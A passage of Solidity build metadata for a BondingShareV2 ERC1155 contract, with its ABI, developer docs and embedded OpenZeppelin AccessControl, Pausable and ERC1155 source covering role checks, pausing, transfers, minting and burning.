,\"name\":\"accounts\",\"type\":\"address[]\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"}],\"name\":\"balanceOfBatch\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"burn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"values\",\"type\":\"uint256[]\"}],\"name\":\"burnBatch\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"name\":\"getBond\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"minter\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"lpFirstDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"creationBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"endBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpAmount\",\"type\":\"uint256\"}],\"internalType\":\"struct BondingShareV2.Bond\",\"name\":\"\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"holder\",\"type\":\"address\"}],\"name\":\"holderTokens\",\"outputs\":[{\"internalType\":\"uint256[]\",\"name\":\"\",\"type\":\"uint256[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"}],\"name\":\"isApprovedForAll\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"lpDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"endBlock\",\"type\":\"uint256\"}],\"name\":\"mint\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256[]\",\"name\":\"ids\",\"type\":\"uint256[]\"},{\"internalType\":\"uint256[]\",\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeBatchTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"id\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"safeTransferFrom\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"operator\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"approved\",\"type\":\"bool\"}],\"name\":\"setApprovalForAll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes4\",\"name\":\"interfaceId\",\"type\":\"bytes4\"}],\"name\":\"supportsInterface\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalLP\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_bondId\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_lpAmount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_endBlock\",\"type\":\"uint256\"}],\"name\":\"updateBond\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"uri\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"balanceOf(address,uint256)\":{\"details\":\"See {IERC1155-balanceOf}. Requirements: - `account` cannot be the zero address.\"},\"balanceOfBatch(address[],uint256[])\":{\"details\":\"See {IERC1155-balanceOfBatch}. Requirements: - `accounts` and `ids` must have the same length.\"},\"constructor\":{\"details\":\"constructor\"},\"getBond(uint256)\":{\"details\":\"return bond details.\"},\"holderTokens(address)\":{\"details\":\"array of token Id held by the msg.sender.\"},\"isApprovedForAll(address,address)\":{\"details\":\"See {IERC1155-isApprovedForAll}.\"},\"mint(address,uint256,uint256,uint256)\":{\"params\":{\"endBlock\":\"block number when the locking period ends\",\"lpDeposited\":\"amount of LP token deposited\",\"lpRewardDebt\":\"amount of excess LP token inside the bonding contract\",\"to\":\"owner address\"}},\"pause()\":{\"details\":\"Pauses all token transfers. See {ERC1155Pausable} and {Pausable-_pause}.\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"safeBatchTransferFrom(address,address,uint256[],uint256[],bytes)\":{\"details\":\"See {IERC1155-safeBatchTransferFrom}.\"},\"safeTransferFrom(address,address,uint256,uint256,bytes)\":{\"details\":\"See {IERC1155-safeTransferFrom}.\"},\"setApprovalForAll(address,bool)\":{\"details\":\"See {IERC1155-setApprovalForAll}.\"},\"supportsInterface(bytes4)\":{\"details\":\"See {IERC165-supportsInterface}.\"},\"totalLP()\":{\"details\":\"Total amount of LP tokens deposited.\"},\"totalSupply()\":{\"details\":\"Total amount of tokens .\"},\"unpause()\":{\"details\":\"Unpauses all token transfers. See {ERC1155Pausable} and {Pausable-_unpause}.\"},\"updateBond(uint256,uint256,uint256,uint256)\":{\"details\":\"update bond LP amount , LP rewards debt and end block.\",\"params\":{\"_bondId\":\"bonding share id\",\"_endBlock\":\"end locking period block number\",\"_lpAmount\":\"amount of LP token deposited\",\"_lpRewardDebt\":\"amount of excess LP token inside the bonding contract\"}},\"uri(uint256)\":{\"details\":\"See {IERC1155MetadataURI-uri}. This implementation returns the same URI for *all* token types. It relies on the token type ID substitution mechanism https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. Clients calling this function must replace the `\\\\{id\\\\}` substring with the actual token type ID.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/BondingShareV2.sol\":\"BondingShareV2\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n\\n function grantRole(bytes32 role, address account) external;\\n\\n function revokeRole(bytes32 role, address account) external;\\n\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping(address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping(bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if (!hasRole(role, account)) {\\n revert(\\n string(\\n abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )\\n )\\n );\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x084f583de2c714665b0304529fe8b826a2809f29d03314e4dd9eea926e4bb0f3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor() {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xa35b1f2a670cd2a701a52c398032c9fed72df1909fe394d77ceacbf074e8937b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC1155.sol\\\";\\nimport \\\"./IERC1155Receiver.sol\\\";\\nimport \\\"./extensions/IERC1155MetadataURI.sol\\\";\\nimport \\\"../../utils/Address.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\nimport \\\"../../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the basic standard multi-token.\\n * See https://eips.ethereum.org/EIPS/eip-1155\\n * Originally based on code by Enjin: https://github.com/enjin/erc-1155\\n *\\n * _Available since v3.1._\\n */\\ncontract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {\\n using Address for address;\\n\\n // Mapping from token ID to account balances\\n mapping(uint256 => mapping(address => uint256)) private _balances;\\n\\n // Mapping from account to operator approvals\\n mapping(address => mapping(address => bool)) private _operatorApprovals;\\n\\n // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json\\n string private _uri;\\n\\n /**\\n * @dev See {_setURI}.\\n */\\n constructor(string memory uri_) {\\n _setURI(uri_);\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\\n return\\n interfaceId == type(IERC1155).interfaceId ||\\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\\n super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev See {IERC1155MetadataURI-uri}.\\n *\\n * This implementation returns the same URI for *all* token types. It relies\\n * on the token type ID substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * Clients calling this function must replace the `\\\\{id\\\\}` substring with the\\n * actual token type ID.\\n */\\n function uri(uint256) public view virtual override returns (string memory) {\\n return _uri;\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {\\n require(account != address(0), \\\"ERC1155: balance query for the zero address\\\");\\n return _balances[id][account];\\n }\\n\\n /**\\n * @dev See {IERC1155-balanceOfBatch}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] memory accounts, uint256[] memory ids)\\n public\\n view\\n virtual\\n override\\n returns (uint256[] memory)\\n {\\n require(accounts.length == ids.length, \\\"ERC1155: accounts and ids length mismatch\\\");\\n\\n uint256[] memory batchBalances = new uint256[](accounts.length);\\n\\n for (uint256 i = 0; i < accounts.length; ++i) {\\n batchBalances[i] = balanceOf(accounts[i], ids[i]);\\n }\\n\\n return batchBalances;\\n }\\n\\n /**\\n * @dev See {IERC1155-setApprovalForAll}.\\n */\\n function setApprovalForAll(address operator, bool approved) public virtual override {\\n require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n _safeTransferFrom(from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override {\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n _safeBatchTransferFrom(from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n unchecked {\\n _balances[id][from] = fromBalance - amount;\\n }\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(\\n address account,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint256 i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n unchecked {\\n _balances[id][account] = accountBalance - amount;\\n }\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual {}\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) private {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns 